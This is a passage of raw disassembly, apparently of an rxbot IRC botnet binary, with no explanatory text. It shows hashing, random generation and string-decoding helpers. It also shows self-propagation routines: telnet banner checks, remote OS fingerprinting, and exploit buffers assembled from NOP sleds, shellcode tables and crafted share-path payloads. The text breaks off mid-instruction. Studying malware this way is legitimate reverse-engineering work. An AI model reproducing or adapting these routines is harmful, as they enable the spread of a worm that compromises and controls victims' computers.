[edx+ecx+6D9D6122h] mov ecx, edx shr ecx, 10h shl edx, 10h or ecx, edx mov edx, ebx add ecx, ebx mov [ebp+var_4], ecx xor edx, ecx mov ecx, edx xor ecx, edi add ecx, [ebp+var_C] lea esi, [esi+ecx-21AC7F4h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi add ecx, [ebp+var_4] xor edx, ecx add edx, [ebp+var_40] lea edi, [edi+edx-5B4115BCh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, [ebp+var_4] mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_34] lea ebx, [ebx+esi+4BDECFA9h] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi mov [ebp+arg_4], esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_28] lea ebx, [edi+ebx-944B4B0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, esi xor [ebp+arg_4], edi mov ebx, [ebp+arg_4] xor ebx, edx add ebx, [ebp+var_1C] lea ebx, [ecx+ebx-41404390h] mov ecx, ebx shl ecx, 17h shr ebx, 9 or ecx, ebx mov ebx, [ebp+arg_4] add ecx, edi xor ebx, ecx add ebx, [ebp+var_10] lea ebx, [edx+ebx+289B7EC6h] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi add edx, ecx xor ebx, ecx xor ebx, edx add ebx, [ebp+var_44] lea esi, [esi+ebx-155ED806h] mov ebx, esi shr ebx, 15h shl esi, 0Bh or ebx, esi add ebx, edx mov esi, ebx mov [ebp+arg_4], ebx xor esi, ecx xor esi, edx add esi, [ebp+var_38] lea esi, [edi+esi-2B10CF7Bh] mov edi, esi shr edi, 10h shl esi, 10h or edi, esi add edi, ebx xor [ebp+arg_4], edi mov esi, [ebp+arg_4] xor esi, edx add esi, [ebp+var_2C] lea esi, [ecx+esi+4881D05h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi mov esi, [ebp+arg_4] add ecx, edi xor esi, ecx add esi, [ebp+var_20] lea esi, [edx+esi-262B2FC7h] mov edx, esi shr edx, 1Ch shl esi, 4 or edx, esi mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_14] lea ebx, [ebx+esi-1924661Bh] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_8] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi xor ebx, edx add ebx, [ebp+var_3C] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, esi add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [ebp+var_44] lea edx, [edx+ecx-0BD6DDBCh] mov ecx, edx shr ecx, 1Ah shl edx, 6 or ecx, edx mov edx, edi add ecx, ebx not edx or edx, ecx xor edx, ebx add edx, [ebp+var_28] lea esi, [esi+edx+432AFF97h] mov edx, esi shr edx, 16h shl esi, 0Ah or edx, esi mov esi, ebx add edx, ecx not esi or esi, edx xor esi, ecx add esi, [ebp+var_C] lea edi, [edi+esi-546BDC59h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, ecx add esi, edx not edi or edi, esi xor edi, edx add edi, [ebp+var_30] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx mov ebx, edx not ebx add edi, esi or ebx, edi xor ebx, esi add ebx, [ebp+var_14] lea ebx, [ecx+ebx+655B59C3h] mov ecx, ebx shl ebx, 6 shr ecx, 1Ah or ecx, ebx mov ebx, esi not ebx add ecx, edi or ebx, ecx xor ebx, edi add ebx, [ebp+var_38] lea ebx, [edx+ebx-70F3336Eh] mov edx, ebx shl ebx, 0Ah shr edx, 16h or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_1C] lea ebx, [esi+ebx-100B83h] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_40] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_24] lea ebx, [ecx+ebx+6FA87E4Fh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_8] lea ebx, [edx+ebx-1D31920h] mov edx, ebx shr edx, 16h shl ebx, 0Ah or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_2C] lea ebx, [esi+ebx-5CFEBCECh] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_10] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_34] lea ebx, [ecx+ebx-8AC817Eh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-42C50DCBh] mov ebx, edx shr ebx, 16h shl edx, 0Ah or ebx, edx mov edx, edi add ebx, ecx not edx or edx, ebx xor edx, ecx add edx, [ebp+var_3C] lea esi, [esi+edx+2AD7D2BBh] mov edx, esi shr edx, 11h shl esi, 0Fh or edx, esi mov esi, ecx add edx, ebx not esi or esi, edx xor esi, ebx add esi, [ebp+var_20] lea edi, [edi+esi-14792C6Fh] mov esi, [eax] add esi, ecx mov ecx, edi shl ecx, 15h shr edi, 0Bh or ecx, edi mov [eax], esi add ecx, [eax+4] pop edi pop esi add ecx, edx mov [eax+4], ecx mov ecx, [eax+8] add ecx, edx mov [eax+8], ecx mov ecx, [eax+0Ch] add ecx, ebx pop ebx mov [eax+0Ch], ecx leave retn sub_40AA38 endp ; =============== S U B R O U T I N E ======================================= sub_40B2D8 proc near ; CODE XREF: sub_40AA38+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40B31D mov edx, [esp+arg_4] mov ecx, [esp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_40B2F1: ; CODE XREF: sub_40B2D8+41j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [esp+8+arg_8] jb short loc_40B2F1 pop edi pop esi locret_40B31D: ; CODE XREF: sub_40B2D8+5j retn sub_40B2D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B31E proc near ; CODE XREF: kkrunchy:004112B4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push 0F0000000h push 1 push 0 lea eax, [ebp+var_4] push 0 push eax call dword_412024 ; CryptAcquireContextA mov esi, dword_412020 push offset dword_419E7C push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_419E80 push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_419E84 push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_419E88 push 4 push [ebp+var_4] call esi ; CryptGenRandom push 0 push [ebp+var_4] call dword_41201C ; CryptReleaseContext pop esi leave retn sub_40B31E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B380 proc near ; CODE XREF: sub_40B459+3p sub_40B480p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx lock xadd dword_419E7C, eax add eax, ebx lock xadd dword_419E80, eax add eax, ecx lock xadd dword_419E84, eax add eax, edx lock xadd dword_419E88, eax add eax, esi lock xadd dword_419E7C, eax add eax, edi lock xadd dword_419E80, eax add eax, ebp lock xadd dword_419E84, eax add eax, esp lock xadd dword_419E88, eax call sub_4114E2 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_419E7C, eax lock xadd dword_419E80, eax lock xadd dword_419E84, eax lock xadd dword_419E88, eax add ecx, ebx ror ebx, cl lock xadd dword_419E84, ebx add ecx, ecx ror ecx, cl lock xadd dword_419E80, ecx add ecx, edx ror edx, cl lock xadd dword_419E7C, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_419E88, edx lock xadd dword_419E84, ecx lock xadd dword_419E80, ebx lock xadd dword_419E7C, eax pop ebx leave retn sub_40B380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B459 proc near ; CODE XREF: sub_401B81+C1p ; sub_4031A7+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E88, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop ebp retn sub_40B459 endp ; =============== S U B R O U T I N E ======================================= sub_40B480 proc near ; CODE XREF: sub_4091AD:loc_409213p ; sub_409918+8DAp ... call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E88, eax retn sub_40B480 endp ; =============== S U B R O U T I N E ======================================= sub_40B493 proc near ; CODE XREF: sub_403EA9+4ECp ; sub_403EA9+54Fp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E84, eax and eax, 0FFFFh retn sub_40B493 endp ; =============== S U B R O U T I N E ======================================= sub_40B4AB proc near ; CODE XREF: sub_40B4D9:loc_40B507p ; sub_40E399+CEp call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E80, eax and eax, 0FFh retn sub_40B4AB endp ; =============== S U B R O U T I N E ======================================= sub_40B4C3 proc near ; CODE XREF: sub_403EA9+4FFp ; sub_4098C7+2Bp ... call sub_40B380 call sub_4114E2 ; clock lock xadd dword_419E7C, eax and eax, 1 retn sub_40B4C3 endp ; =============== S U B R O U T I N E ======================================= sub_40B4D9 proc near ; CODE XREF: sub_407A76+837p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_40B512 mov esi, [esp+8+arg_0] cmp ebx, 3 jbe short loc_40B503 push edi mov edi, ebx shr edi, 2 loc_40B4F2: ; CODE XREF: sub_40B4D9+27j call sub_40B480 mov [esi], eax add esi, 4 sub ebx, 4 dec edi jnz short loc_40B4F2 pop edi loc_40B503: ; CODE XREF: sub_40B4D9+11j test ebx, ebx jbe short loc_40B512 loc_40B507: ; CODE XREF: sub_40B4D9+37j call sub_40B4AB mov [esi], al inc esi dec ebx jnz short loc_40B507 loc_40B512: ; CODE XREF: sub_40B4D9+8j ; sub_40B4D9+2Cj pop esi pop ebx retn sub_40B4D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B515 proc near ; CODE XREF: sub_4027CB+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_40B522 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_40B522: ; CODE XREF: sub_40B515+7j mov eax, [ebp+arg_10] test eax, eax jnz short loc_40B52C mov eax, [ebp+arg_4] loc_40B52C: ; CODE XREF: sub_40B515+12j push edi push eax push [ebp+arg_4] call sub_40B459 mov edi, eax pop ecx test edi, edi pop ecx jbe short loc_40B55A push ebx push esi mov esi, [ebp+arg_0] mov ebx, edi loc_40B545: ; CODE XREF: sub_40B515+41j push [ebp+arg_C] push [ebp+arg_8] call sub_40B459 mov [esi], al pop ecx inc esi dec ebx pop ecx jnz short loc_40B545 pop esi pop ebx loc_40B55A: ; CODE XREF: sub_40B515+27j mov eax, edi pop edi pop ebp retn sub_40B515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B55F proc near ; CODE XREF: kkrunchy:004112C6p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_40A8A4 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_40A8CC lea eax, [ebp+var_58] push eax push offset byte_419E90 call sub_40A96B add esp, 18h lea esi, byte_419E90 mov edi, esi push 10h pop ecx loc_40B59B: ; CODE XREF: sub_40B55F+43j lodsb or eax, 80h stosb loop loc_40B59B pop edi pop esi leave retn sub_40B55F endp ; =============== S U B R O U T I N E ======================================= sub_40B5A8 proc near ; CODE XREF: sub_4050D1+7Dp ; sub_4050D1+FFp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh ja short loc_40B5DE xor esi, esi test bl, bl jz short loc_40B5DE push edi loc_40B5BC: ; CODE XREF: sub_40B5A8+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_419E90[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40B5BC pop edi loc_40B5DE: ; CODE XREF: sub_40B5A8+Bj ; sub_40B5A8+11j pop esi pop ebx retn sub_40B5A8 endp ; =============== S U B R O U T I N E ======================================= sub_40B5E1 proc near ; CODE XREF: sub_401000+3Fp ; sub_4033F9+19p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh jbe short loc_40B617 xor esi, esi test bl, bl jz short loc_40B617 push edi loc_40B5F5: ; CODE XREF: sub_40B5E1+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_419E90[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40B5F5 pop edi loc_40B617: ; CODE XREF: sub_40B5E1+Bj ; sub_40B5E1+11j pop esi pop ebx retn sub_40B5E1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+8] push edi mov edi, 200h push 2710h lea eax, [ebp-200h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 10h test eax, eax jz short loc_40B6BA push 0Ch lea eax, [ebp-200h] push offset dword_415244 push eax call sub_41178A ; memcmp add esp, 0Ch test eax, eax jnz short loc_40B6BA lea eax, [ebp-200h] push edi push eax push dword ptr [esi+3Eh] call sub_403DB2 add esp, 0Ch test eax, eax jz short loc_40B6BA lea eax, [ebp-200h] push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"... push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40B6BA mov eax, [esi] inc dword ptr [eax+2Ah] lea eax, [esi+42h] push eax mov eax, [esi] add esi, 4 push dword ptr [eax+2Ah] push offset aTelnet ; "telnet" push esi push offset unk_4151D8 push offset dword_418E50 call sub_409659 add esp, 18h loc_40B6BA: ; CODE XREF: kkrunchy:0040B647j ; kkrunchy:0040B661j ... pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6BE proc near ; CODE XREF: kkrunchy:0040B82Ap var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403E1F mov esi, dword_412258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40B70D push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B7C9 cmp eax, 0FFFFFFFFh jz loc_40B7C9 loc_40B70D: ; CODE XREF: sub_40B6BE+2Dj push 28h push offset dword_415254 push [ebp+arg_0] call sub_403D9D push ebx push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40B7C9 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B7C9 cmp eax, 0FFFFFFFFh jz short loc_40B7C9 lea eax, [ebp+var_FDB] push eax call sub_41151C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40B7B6 cmp [ebp+var_FF4], 0 jnz short loc_40B782 xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40B77E: ; CODE XREF: sub_40B6BE+DCj ; sub_40B6BE+F6j ... mov eax, ecx jmp short loc_40B7CB ; --------------------------------------------------------------------------- loc_40B782: ; CODE XREF: sub_40B6BE+B0j cmp [ebp+var_FF4], 1 jnz short loc_40B79C xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B79C: ; CODE XREF: sub_40B6BE+CBj cmp [ebp+var_FF4], 2 jnz short loc_40B7C9 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B7B6: ; CODE XREF: sub_40B6BE+A7j cmp [ebp+var_FF8], 4 jnz short loc_40B7C9 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B7C9: ; CODE XREF: sub_40B6BE+40j ; sub_40B6BE+49j ... xor eax, eax loc_40B7CB: ; CODE XREF: sub_40B6BE+C2j pop edi pop esi pop ebx leave retn sub_40B6BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1204h call sub_411540 push ebx push esi mov esi, [ebp+8] push edi push 3 push offset asc_413214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp-1204h] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 mov edi, eax add esp, 20h test edi, edi jz loc_40B998 and dword ptr [ebp+8], 0 lea eax, [ebp+8] push eax push dword ptr [esi+3Eh] call sub_40B6BE pop ecx mov [ebp-4], eax test eax, eax pop ecx jz loc_40B998 mov ebx, 1000h lea eax, [ebp-1004h] push ebx push 0 push eax call sub_4114E8 ; memset push 2 lea eax, [ebp-1004h] push offset dword_415328 push eax call sub_4114D0 ; memcpy push 1F4h lea eax, [ebp-0F37h] push 90h push eax call sub_4114E8 ; memset lea eax, [ebp-1204h] push edi push eax lea eax, [ebp-0DFCh] push eax call sub_4114D0 ; memcpy push 5 lea eax, [ebp-0BF2h] push offset aRxbot ; "rxbot" push eax call sub_4114D0 ; memcpy push 0Eh lea eax, [ebp-0A2Ch] push offset aRxbotWasHere ; "rxbot was here" push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-928h] push 11h push offset a121204131313 ; "12/12/04 13:13:13" push eax call sub_4114D0 ; memcpy push 0Eh lea eax, [ebp-518h] push offset aRxbot_paradise ; "rxbot_paradise" push eax call sub_4114D0 ; memcpy push 10h lea eax, [ebp-414h] push offset a131_131_131_13 ; "131.131.131.131" push eax call sub_4114D0 ; memcpy mov edi, offset loc_4152D0 push edi call sub_4114BE ; strlen push eax lea eax, [ebp-108h] push edi push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp-0E02h] push offset loc_4152CC push eax call sub_4114D0 ; memcpy add esp, 40h cmp dword ptr [ebp-4], 1 jnz short loc_40B930 mov eax, [ebp+8] mov eax, dword_415280[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B930: ; CODE XREF: kkrunchy:0040B922j cmp dword ptr [ebp-4], 2 jnz short loc_40B942 mov eax, [ebp+8] mov eax, dword_41529C[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B942: ; CODE XREF: kkrunchy:0040B934j cmp dword ptr [ebp-4], 3 mov eax, [ebp+8] jnz short loc_40B954 mov eax, dword_4152B0[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B954: ; CODE XREF: kkrunchy:0040B949j mov eax, dword_4152BC[eax*4] loc_40B95B: ; CODE XREF: kkrunchy:0040B92Ej ; kkrunchy:0040B940j ... mov [ebp-0E00h], eax lea eax, [ebp-1004h] push ebx push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40B998 push 0 lea eax, [ebp-1004h] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv loc_40B998: ; CODE XREF: kkrunchy:0040B819j ; kkrunchy:0040B836j ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B99D proc near ; CODE XREF: sub_40BAAF+5Bp var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403E1F mov esi, dword_412258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40B9EC push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40BAA8 cmp eax, 0FFFFFFFFh jz loc_40BAA8 loc_40B9EC: ; CODE XREF: sub_40B99D+2Dj push 28h push offset dword_41532C push [ebp+arg_0] call sub_403D9D push ebx push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40BAA8 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40BAA8 cmp eax, 0FFFFFFFFh jz short loc_40BAA8 lea eax, [ebp+var_FDB] push eax call sub_41151C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40BA95 cmp [ebp+var_FF4], 0 jnz short loc_40BA61 xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40BA5D: ; CODE XREF: sub_40B99D+DCj ; sub_40B99D+F6j ... mov eax, ecx jmp short loc_40BAAA ; --------------------------------------------------------------------------- loc_40BA61: ; CODE XREF: sub_40B99D+B0j cmp [ebp+var_FF4], 1 jnz short loc_40BA7B xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BA7B: ; CODE XREF: sub_40B99D+CBj cmp [ebp+var_FF4], 2 jnz short loc_40BAA8 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BA95: ; CODE XREF: sub_40B99D+A7j cmp [ebp+var_FF8], 4 jnz short loc_40BAA8 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BAA8: ; CODE XREF: sub_40B99D+40j ; sub_40B99D+49j ... xor eax, eax loc_40BAAA: ; CODE XREF: sub_40B99D+C2j pop edi pop esi pop ebx leave retn sub_40B99D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAAF proc near ; DATA XREF: kkrunchy:00418044o var_1204 = byte ptr -1204h var_1137 = byte ptr -1137h var_112F = byte ptr -112Fh var_1002 = byte ptr -1002h var_1000 = dword ptr -1000h var_FFC = byte ptr -0FFCh var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1204h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 3 push offset asc_413214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_204] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+var_4], eax test eax, eax jz loc_40BC0B and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push dword ptr [esi+3Eh] call sub_40B99D mov ebx, eax pop ecx test ebx, ebx pop ecx jz loc_40BC0B mov edi, 1000h lea eax, [ebp+var_1204] push edi push 0 push eax call sub_4114E8 ; memset push 2 lea eax, [ebp+var_1204] push offset dword_415328 push eax call sub_4114D0 ; memcpy push 8 lea eax, [ebp+var_1137] push offset dword_41537C push eax call sub_4114D0 ; memcpy push [ebp+var_4] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_112F] push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp+var_FFC] push offset dword_415358 push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_1002] push offset loc_4152CC push eax call sub_4114D0 ; memcpy add esp, 48h cmp ebx, 1 jnz short loc_40BBA5 mov eax, [ebp+arg_0] mov eax, dword_415388[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBA5: ; CODE XREF: sub_40BAAF+E8j cmp ebx, 2 jnz short loc_40BBB6 mov eax, [ebp+arg_0] mov eax, dword_4153A4[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBB6: ; CODE XREF: sub_40BAAF+F9j mov eax, [ebp+arg_0] cmp ebx, 3 jnz short loc_40BBC7 mov eax, dword_4153B8[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBC7: ; CODE XREF: sub_40BAAF+10Dj mov eax, dword_4153C4[eax*4] loc_40BBCE: ; CODE XREF: sub_40BAAF+F4j ; sub_40BAAF+105j ... mov [ebp+var_1000], eax lea eax, [ebp+var_1204] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BC0B push 0 lea eax, [ebp+var_1204] push edi push eax push dword ptr [esi+3Eh] call dword_412258 ; recv loc_40BC0B: ; CODE XREF: sub_40BAAF+4Aj ; sub_40BAAF+66j ... pop edi pop esi pop ebx leave retn sub_40BAAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC10 proc near ; DATA XREF: kkrunchy:off_417DC6o var_1800 = byte ptr -1800h var_800 = byte ptr -800h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1800h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 1 lea eax, [esi+42h] push eax call sub_40D42D push eax lea eax, [ebp+var_800] push eax push esi call sub_40BCBD add esp, 14h mov [ebp+arg_0], eax test eax, eax jz short loc_40BCB8 push 48h push offset dword_4153D4 push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BCB8 mov edi, dword_412258 mov ebx, 1000h push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv push [ebp+arg_0] lea eax, [ebp+var_800] push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BCB8 push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv loc_40BCB8: ; CODE XREF: sub_40BC10+34j ; sub_40BC10+57j ... pop edi pop esi pop ebx leave retn sub_40BC10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCBD proc near ; CODE XREF: sub_40BC10+27p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] push 7 push offset dword_415854 push dword ptr [eax+2Ah] lea ecx, [eax+146h] push ecx lea ecx, [eax+0C6h] push ecx push dword ptr [eax+0C2h] lea eax, [ebp+var_200] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+arg_0], eax test eax, eax jnz short loc_40BD04 leave retn ; --------------------------------------------------------------------------- loc_40BD04: ; CODE XREF: sub_40BCBD+43j push ebx push esi push edi add eax, 0D7h push 10h mov ebx, 0B3h cdq pop ecx idiv ecx push 0Ch pop eax sub eax, edx jns short loc_40BD21 add ebx, 10h loc_40BD21: ; CODE XREF: sub_40BCBD+5Fj mov esi, [ebp+arg_4] push 360h push offset dword_415454 push esi sub ebx, edx call sub_4114D0 ; memcpy lea eax, [esi+360h] push 10h push offset dword_4157B8 push eax call sub_4114D0 ; memcpy push 30h lea eax, [esi+370h] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax call sub_4114D0 ; memcpy push 0 lea eax, [esi+3A0h] push ebx push eax call sub_40D5A8 push [ebp+arg_0] lea edi, [ebx+3A0h] lea eax, [ebp+var_200] push eax lea eax, [edi+esi] push eax call sub_4114D0 ; memcpy add edi, [ebp+arg_0] push 3Ch push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" lea eax, [edi+esi] push eax call sub_4114D0 ; memcpy add esp, 